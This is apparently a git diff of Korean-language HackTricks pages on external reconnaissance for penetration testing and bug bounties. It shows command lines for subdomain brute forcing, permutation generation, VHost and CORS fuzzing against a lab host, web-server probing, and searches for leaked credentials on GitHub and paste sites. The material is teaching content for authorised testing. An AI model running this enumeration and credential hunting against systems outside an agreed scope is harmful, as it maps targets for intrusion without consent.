웹 페이지 내에서 **같은 조직의 서로 다른 웹에서 공유될 수 있는 문자열**을 검색합니다. **저작권 문자열**이 좋은 예가 될 수 있습니다. 그런 다음 **구글**, 다른 **브라우저** 또는 **shodan**에서 해당 문자열을 검색합니다: `shodan search http.html:"Copyright string"` 웹 페이지 내에서 **같은 조직의 서로 다른 웹에서 공유될 수 있는 문자열**을 검색합니다. **저작권 문자열**이 좋은 예가 될 수 있습니다. 그런 다음 **google**, 다른 **브라우저** 또는 **shodan**에서 해당 문자열을 검색합니다: `shodan search http.html:"Copyright string"`
### **CRT Time** ### **CRT Time**
@ -204,7 +204,7 @@ If you find any **domain with an IP different** from the ones you already found
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ _Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**버그 바운티 팁**: **가입하세요** **Intigriti**에, 해커를 위해 만들어진 프리미엄 **버그 바운티 플랫폼**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요! **버그 바운티 팁**: **가입하세요** **Intigriti**, 해커를 위해 만들어진 프리미엄 **버그 바운티 플랫폼**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -337,7 +337,7 @@ python3 censys-subdomain-finder.py tesla.com
```bash ```bash
python3 DomainTrail.py -d example.com python3 DomainTrail.py -d example.com
``` ```
* [**securitytrails.com**](https://securitytrails.com/) 서브도메인 및 IP 기록을 검색할 수 있는 무료 API를 제공합니다. * [**securitytrails.com**](https://securitytrails.com/) 서브도메인 및 IP 기록을 검색할 수 있는 무료 API를 제공합니다.
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
이 프로젝트는 **버그 바운티 프로그램과 관련된 모든 서브도메인**을 무료로 제공합니다. 이 데이터를 [chaospy](https://github.com/dr-0x0x/chaospy)를 사용하여 접근할 수 있으며, 이 프로젝트에서 사용된 범위에 접근할 수도 있습니다: [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) 이 프로젝트는 **버그 바운티 프로그램과 관련된 모든 서브도메인**을 무료로 제공합니다. 이 데이터를 [chaospy](https://github.com/dr-0x0x/chaospy)를 사용하여 접근할 수 있으며, 이 프로젝트에서 사용된 범위에 접근할 수도 있습니다: [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
@ -356,9 +356,9 @@ python3 DomainTrail.py -d example.com
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
또한 좋은 DNS 해석기의 IP도 필요합니다. 신뢰할 수 있는 DNS 해석기 목록을 생성하기 위해 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)에서 해석기를 다운로드하고 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator)를 사용하여 필터링할 수 있습니다. 또는: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)를 사용할 수 있습니다. 또한 좋은 DNS 해석기의 IP도 필요합니다. 신뢰할 수 있는 DNS 해석기 목록을 생성하기 위해 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)에서 해석기를 다운로드하고 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator)를 사용하여 필터링할 수 있습니다. 또는 다음을 사용할 수 있습니다: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
DNS 브루트 포스에 가장 추천되는 도구는: DNS 브루트 포스에 가장 추천되는 도구는 다음과 같습니다:
* [**massdns**](https://github.com/blechschmidt/massdns): 이는 효과적인 DNS 브루트 포스를 수행한 첫 번째 도구입니다. 매우 빠르지만 잘못된 긍정 반응이 발생할 수 있습니다. * [**massdns**](https://github.com/blechschmidt/massdns): 이는 효과적인 DNS 브루트 포스를 수행한 첫 번째 도구입니다. 매우 빠르지만 잘못된 긍정 반응이 발생할 수 있습니다.
```bash ```bash
@ -374,7 +374,7 @@ gobuster dns -d mysite.com -t 50 -w subdomains.txt
``` ```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
* [**puredns**](https://github.com/d3mondev/puredns): 또한 `massdns` 사용합니다. * [**puredns**](https://github.com/d3mondev/puredns): `massdns` 사용합니다.
``` ```
puredns bruteforce all.txt domain.com puredns bruteforce all.txt domain.com
``` ```
@ -384,9 +384,9 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
``` ```
### 두 번째 DNS 브루트 포스 라운드 ### 두 번째 DNS 브루트 포스 라운드
오픈 소스를 사용하고 브루트 포싱을 통해 서브 도메인을 찾은 후, 발견된 서브 도메인의 변형을 생성하여 더 많은 서브 도메인을 찾으려고 할 수 있습니다. 이 목적을 위해 여러 도구가 유용합니다: 오픈 소스를 사용하고 브루트 포싱을 통해 서브도메인을 찾은 후, 발견된 서브도메인의 변형을 생성하여 더 많은 서브도메인을 찾으려고 할 수 있습니다. 이 목적을 위해 여러 도구가 유용합니다:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** 도메인과 서브 도메인을 주면 순열을 생성합니다. * [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** 도메인과 서브도메인을 주면 순열을 생성합니다.
```bash ```bash
cat subdomains.txt | dnsgen - cat subdomains.txt | dnsgen -
``` ```
@ -395,12 +395,12 @@ cat subdomains.txt | dnsgen -
```bash ```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
``` ```
* [**gotator**](https://github.com/Josue87/gotator)**:** 도메인과 서브도메인을 기반으로 순열을 생성합니다. 순열 파일이 지정되지 않으면 gotator는 자체 파일을 사용합니다. * [**gotator**](https://github.com/Josue87/gotator)**:** 도메인과 서브도메인을 기반으로 순열을 생성합니다. 순열 파일이 지정되지 않은 경우 gotator는 자체 파일을 사용합니다.
``` ```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
``` ```
* [**altdns**](https://github.com/infosec-au/altdns): 서브도메인 조합을 생성하는 것 외에도, 이를 해결하려고 시도할 수 있습니다(하지만 이전에 언급된 도구를 사용하는 것이 더 좋습니다). * [**altdns**](https://github.com/infosec-au/altdns): 서브도메인 변형을 생성하는 것 외에도, 이를 해결하려고 시도할 수 있습니다(하지만 이전에 언급된 도구를 사용하는 것이 더 좋습니다).
* altdns 조합 **단어 목록**은 [**여기**](https://github.com/infosec-au/altdns/blob/master/words.txt)에서 확인할 수 있습니다. * altdns 변형 **단어 목록**은 [**여기**](https://github.com/infosec-au/altdns/blob/master/words.txt)에서 얻을 수 있습니다.
``` ```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
``` ```
@ -410,11 +410,11 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
``` ```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** 주어진 도메인을 기반으로 **지정된 패턴에 따라 새로운 잠재적 서브도메인 이름을 생성**하여 더 많은 서브도메인을 발견하려고 합니다. * [**alterx**](https://github.com/projectdiscovery/alterx)**:** 주어진 도메인을 기반으로 **지정된 패턴에 따라 새로운 잠재적 서브도메인 이름을 생성**하여 더 많은 서브도메인을 발견하려고 시도합니다.
#### 스마트 순열 생성 #### 스마트 순열 생성
* [**regulator**](https://github.com/cramppet/regulator): 자세한 내용은 이 [**게시물**](https://cramppet.github.io/regulator/index.html)를 읽어보세요. 기본적으로 **발견된 서브도메인**의 **주요 부분**을 가져와서 이를 혼합하여 더 많은 서브도메인을 찾습니다. * [**regulator**](https://github.com/cramppet/regulator): 더 많은 정보는 이 [**게시물**](https://cramppet.github.io/regulator/index.html)를 읽어보세요. 기본적으로 **발견된 서브도메인**의 **주요 부분**을 가져와서 이를 혼합하여 더 많은 서브도메인을 찾습니다.
```bash ```bash
python3 main.py adobe.com adobe adobe.rules python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute make_brute_list.sh adobe.rules adobe.brute
@ -434,11 +434,11 @@ echo www | subzuf facebook.com
### **VHosts / 가상 호스트** ### **VHosts / 가상 호스트**
서브도메인에 속하는 **하나 이상의 웹 페이지**를 포함하는 IP 주소를 찾았다면, **OSINT 소스**에서 IP에 있는 도메인을 찾아보거나 **해당 IP에서 VHost 도메인 이름을 브루트 포스**하여 **다른 서브도메인**을 찾을 수 있습니다. 서브도메인에 속하는 **하나 이상의 웹 페이지**를 포함하는 IP 주소를 찾았다면, **OSINT 소스**에서 IP 도메인을 찾아보거나 **해당 IP에서 VHost 도메인 이름을 브루트 포스**하여 **다른 서브도메인**을 찾을 수 있습니다.
#### OSINT #### OSINT
[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **또는 다른 API를 사용하여 IP에서 일부 VHosts를 찾을 수 있습니다.** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **또는 기타 API를 사용하여 IP에서 일부 VHosts를 찾을 수 있습니다.**
**브루트 포스** **브루트 포스**
@ -462,7 +462,7 @@ VHostScan -t example.com
### **CORS Brute Force** ### **CORS Brute Force**
때때로 유효한 도메인/서브도메인이 _**Origin**_ 헤더에 설정될 때만 _**Access-Control-Allow-Origin**_ 헤더를 반환하는 페이지를 발견할 수 있습니다. 이러한 시나리오에서는 이 동작을 악용하여 **새로운** **서브도메인**을 **발견**할 수 있습니다. 때때로 유효한 도메인/서브도메인이 _**Origin**_ 헤더에 설정될 때만 _**Access-Control-Allow-Origin**_ 헤더를 반환하는 페이지를 찾을 수 있습니다. 이러한 시나리오에서는 이 동작을 악용하여 **새로운** **서브도메인**을 **발견**할 수 있습니다.
```bash ```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
``` ```
@ -473,22 +473,22 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **모니터링** ### **모니터링**
도메인의 **새 서브도메인**이 생성되는지 **Certificate Transparency** 로그를 모니터링하여 확인할 수 있습니다. [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)가 이를 수행합니다. 도메인의 **새로운 서브도메인**이 생성되는지 **Certificate Transparency** 로그를 모니터링하여 확인할 수 있습니다. [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)가 이를 수행합니다.
### **취약점 찾기** ### **취약점 찾기**
가능한 [**서브도메인 탈취**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)를 확인하세요.\ 가능한 [**서브도메인 탈취**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)를 확인하세요.\
**서브도메인**이 어떤 **S3 버킷**으로 **포인팅**되고 있다면, [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/). **서브도메인**이 어떤 **S3 버킷**으로 **포인팅**되고 있다면, [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/).
자산 탐색에서 이미 발견한 것과 다른 **IP를 가진 서브도메인**을 발견하면, **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용)과 **포트 스캔**(nmap/masscan/shodan 사용)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 "공격"하는 몇 가지 요령을 찾을 수 있습니다**.\ 자산 탐색에서 이미 발견한 것과 다른 IP를 가진 **서브도메인**을 발견하면, **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용)과 **포트 스캔**(nmap/masscan/shodan 사용)을 수행해야 합니다. 어떤 서비스가 실행되고 있는지에 따라 **이 책에서 "공격"하는 몇 가지 요령을 찾을 수 있습니다**.\
_서브도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅되는 경우가 있으므로, 범위에 포함되지 않을 수 있습니다. 주의하세요._ _서브도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅되는 경우가 있으므로, 범위에 포함되지 않을 수 있습니다. 주의하세요._
## IPs ## IPs
초기 단계에서 **일부 IP 범위, 도메인 및 서브도메인**을 **발견했을 수 있습니다**.\ 초기 단계에서 **일부 IP 범위, 도메인 및 서브도메인**을 **발견했을 수 있습니다**.\
이제 **그 범위에서 모든 IP를 수집**하고 **도메인/서브도메인(DNS 쿼리)**에 대한 IP를 수집할 시간입니다. 이제 **그 범위에서 모든 IP를 수집할** 시간입니다. **도메인/서브도메인(DNS 쿼리)**에 대한 IP도 포함됩니다.
다음 **무료 API**의 서비스를 사용하여 **도메인 서브도메인에서 사용된 이전 IP**를 찾을 수 있습니다. 이 IP는 여전히 클라이언트가 소유하고 있을 수 있으며, [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾는 데 도움이 될 수 있습니다. 다음 **무료 API**의 서비스를 사용하여 **도메인 서브도메인에서 사용된 이전 IP**를 찾을 수 있습니다. 이 IP는 여전히 클라이언트가 소유하고 있을 수 있으며, [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾는 데 도움이 될 수 있습니다.
* [**https://securitytrails.com/**](https://securitytrails.com/) * [**https://securitytrails.com/**](https://securitytrails.com/)
@ -496,7 +496,7 @@ _서브도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅
### **취약점 찾기** ### **취약점 찾기**
**CDN에 속하지 않는 모든 IP에 대해 포트 스캔**을 수행하세요(여기서는 흥미로운 것을 찾지 못할 가능성이 높습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있을 것입니다**. **CDN에 속하지 않는 모든 IP에 대해 포트 스캔을 수행하세요**(여기서는 흥미로운 것을 찾지 못할 가능성이 높습니다). 발견된 실행 서비스에서 **취약점을 찾을 수 있을지도 모릅니다**.
**호스트 스캔 방법에 대한** [**가이드를 찾으세요**](../pentesting-network/). **호스트 스캔 방법에 대한** [**가이드를 찾으세요**](../pentesting-network/).
@ -504,12 +504,12 @@ _서브도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅
> 우리는 모든 회사와 그 자산을 찾았고, 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 검색할 시간입니다. > 우리는 모든 회사와 그 자산을 찾았고, 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 검색할 시간입니다.
이전 단계에서 이미 발견된 **IP와 도메인에 대한 일부 재콘**을 수행했을 가능성이 높으므로, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 **웹 서버를 검색하는 몇 가지 빠른 요령**을 살펴보겠습니다. 이전 단계에서 이미 발견된 **IP 및 도메인에 대한 일부 재콘을 수행했을 가능성이 높으므로**, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 웹 서버를 검색하기 위한 **빠른 요령**을 살펴보겠습니다.
이것은 **웹 앱 발견**을 위한 **지향적**이므로, **취약점****포트 스캔**도 수행해야 합니다(**범위에서 허용되는 경우**). 이것은 **웹 앱 발견**을 위한 **지향적**이므로, **취약점****포트 스캔**도 수행해야 합니다(**범위에서 허용되는 경우**).
**웹** 서버와 관련된 **열려 있는 포트를 발견하는 빠른 방법**은 [**masscan**를 사용하는 방법을 여기에서 찾을 수 있습니다](../pentesting-network/#http-port-discovery).\ [**masscan**을 사용하여 **웹** 서버와 관련된 **열려 있는 포트를 발견하는 빠른 방법**은 여기에서 찾을 수 있습니다](../pentesting-network/#http-port-discovery).\
웹 서버를 찾기 위한 또 다른 유용한 도구는 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)입니다. 도메인 목록을 전달하면 포트 80(http) 및 443(https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지정할 수 있습니다: 웹 서버를 찾기 위한 또 다른 유용한 도구는 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)입니다. 도메인 목록을 전달하면 포트 80 (http) 및 443 (https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지정할 수 있습니다:
```bash ```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@ -540,7 +540,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **취약점 찾기** ### **취약점 찾기**
**열린 버킷이나 노출된 클라우드 기능**과 같은 것을 발견하면 **접속하여** 그들이 제공하는 것이 무엇인지, 그리고 이를 악용할 수 있는지 확인해야 합니다. **열린 버킷이나 노출된 클라우드 기능**과 같은 것을 발견하면 **접속하여** 제공하는 내용을 확인하고 이를 악용할 수 있는지 확인해야 합니다.
## 이메일 ## 이메일
@ -573,7 +573,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### 깃허브 유출 ### 깃허브 유출
자격 증명 및 API는 **회사의 공개 리포지토리** 또는 해당 깃허브 회사에서 일하는 **사용자**의 공개 리포지토리에 유출될 수 있습니다.\ 자격 증명 및 API는 **회사의 공개 리포지토리** 또는 해당 깃허브 회사에서 일하는 **사용자**의 공개 리포지토리에 유출될 수 있습니다.\
**Leakos**라는 **도구**를 사용하여 **조직** 및 그 **개발자**의 모든 **공개 리포**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다. **Leakos**라는 **도구**를 사용하여 **조직** 및 그 **개발자**의 모든 **공개 리포지토리**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다.
**Leakos**는 또한 제공된 **URL**에 대해 **gitleaks**를 실행하는 데 사용할 수 있으며, 때때로 **웹 페이지에도 비밀이 포함되어 있습니다**. **Leakos**는 또한 제공된 **URL**에 대해 **gitleaks**를 실행하는 데 사용할 수 있으며, 때때로 **웹 페이지에도 비밀이 포함되어 있습니다**.
@ -585,16 +585,16 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
[github-leaked-secrets.md](github-leaked-secrets.md) [github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %} {% endcontent-ref %}
### Paste 유출 ### 페이스트 유출
때때로 공격자나 단순한 직원이 **회사 콘텐츠를 paste 사이트에 게시**합니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색할 가치가 있습니다.\ 때때로 공격자나 단순한 직원이 **회사 콘텐츠를 페이스트 사이트에 게시**합니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색할 가치가 있습니다.\
[**Pastos**](https://github.com/carlospolop/Pastos)라는 도구를 사용하여 동시에 80개 이상의 paste 사이트에서 검색할 수 있습니다. [**Pastos**](https://github.com/carlospolop/Pastos)라는 도구를 사용하여 동시에 80개 이상의 페이스트 사이트에서 검색할 수 있습니다.
### 구글 도크 ### 구글 도크
오래되었지만 여전히 유용한 구글 도크는 **거기에 있어서는 안 되는 노출된 정보를 찾는 데 항상 유용합니다**. 유일한 문제는 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 **도구를 사용하여 모두 실행할 수 있습니다**. 오래되었지만 여전히 유용한 구글 도크는 **거기에 있어서는 안 되는 노출된 정보를 찾는 데 항상 유용합니다**. 유일한 문제는 [**구글 해킹 데이터베이스**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 **도구를 사용하여 모두 실행할 수 있습니다**.
_정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 실행하려는 도구는 매우 빨리 Google에 의해 차단되므로 결코 끝나지 않을 것입니다._ _정기적인 구글 브라우저를 사용하여 모든 데이터베이스를 실행하려는 도구는 매우 빨리 구글에 의해 차단되므로 결코 끝나지 않을 것입니다._
### **취약점 찾기** ### **취약점 찾기**
@ -618,20 +618,20 @@ _정기적인 Google 브라우저를 사용하여 모든 데이터베이스를
**버그 헌터**가 발견한 **대부분의 취약점**은 **웹 애플리케이션** 내에 존재하므로, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 싶습니다. [**여기에서 이 정보를 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/). **버그 헌터**가 발견한 **대부분의 취약점**은 **웹 애플리케이션** 내에 존재하므로, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 싶습니다. [**여기에서 이 정보를 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/).
또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾는 데 기대하지 말아야 하지만, **초기 웹 정보를 얻기 위한 워크플로우에 구현하는 데 유용합니다**. 또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾을 것으로 기대하지 말아야 하지만, **초기 웹 정보를 얻기 위한 워크플로우에 유용하게 사용됩니다.**
## 요약 ## 요약
> 축하합니다! 이 시점에서 **모든 기본 열거 작업**을 수행했습니다. 네, 기본적입니다. 더 많은 열거 작업이 가능하므로 (나중에 더 많은 트릭을 볼 것입니다). > 축하합니다! 이 시점에서 **모든 기본 열거 작업**을 수행했습니다. 네, 기본적입니다. 더 많은 열거 작업이 가능하니까요 (나중에 더 많은 트릭을 볼 것입니다).
따라서 이미 다음을 수행했습니다: 따라서 이미 다음을 수행했습니다:
1. 범위 내의 모든 **회사**를 찾았습니다. 1. 범위 내의 모든 **회사**를 찾았습니다.
2. 회사에 속하는 모든 **자산**을 찾았습니다 (범위 내에서 일부 취약점 스캔 수행). 2. 회사에 속하는 모든 **자산**을 찾았습니다 (범위 내에서 취약점 스캔 수행).
3. 회사에 속하는 모든 **도메인**을 찾았습니다. 3. 회사에 속하는 모든 **도메인**을 찾았습니다.
4. 도메인의 모든 **서브도메인**을 찾았습니다 (서브도메인 탈취 가능성은 있나요?). 4. 도메인의 모든 **서브도메인**을 찾았습니다 (서브도메인 탈취 가능성은?).
5. 범위 내의 모든 **IP**를 찾았습니다 (CDN에서 온 것과 아닌 것). 5. 범위 내의 모든 **IP**를 찾았습니다 (CDN에서 온 것과 아닌 것).
6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다 (더 깊이 살펴볼 가치가 있는 이상한 점이 있나요?). 6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다 (더 깊이 살펴볼 가치가 있는 이상한 점?).
7. 회사에 속하는 모든 **잠재적 공개 클라우드 자산**을 찾았습니다. 7. 회사에 속하는 모든 **잠재적 공개 클라우드 자산**을 찾았습니다.
8. **이메일**, **자격 증명 유출**, 및 **비밀 유출**로 인해 **매우 쉽게 큰 승리를 얻을 수 있습니다**. 8. **이메일**, **자격 증명 유출**, 및 **비밀 유출**로 인해 **매우 쉽게 큰 승리를 얻을 수 있습니다**.
9. 발견한 모든 웹을 **펜테스팅**했습니다. 9. 발견한 모든 웹을 **펜테스팅**했습니다.
@ -647,17 +647,17 @@ _정기적인 Google 브라우저를 사용하여 모든 데이터베이스를
## **참고 문헌** ## **참고 문헌**
* [**@Jhaddix**](https://twitter.com/Jhaddix)의 모든 무료 과정, 예를 들어 [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) * [**@Jhaddix**](https://twitter.com/Jhaddix)의 모든 무료 강좌, 예를 들어 [**버그 헌터의 방법론 v4.0 - 재콘 에디션**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집하고 있습니다!** (_유창한 폴란드어 필기 및 구사 필요_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집하고 있습니다!** (_유창한 폴란드어 필기 및 구사 필요_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우고 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우고 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -665,7 +665,7 @@ GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" d
* [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요! * [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 트릭을 공유하세요. * **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,7 +15,7 @@ GCP 해킹 배우기 및 연습하기: <img src="../.gitbook/assets/grte.png" al
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_). 해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_).
@ -42,7 +42,7 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
### **2-** [**네트워크와 함께 즐기기**](pentesting-network/) **(내부)** ### **2-** [**네트워크와 함께 즐기기**](pentesting-network/) **(내부)**
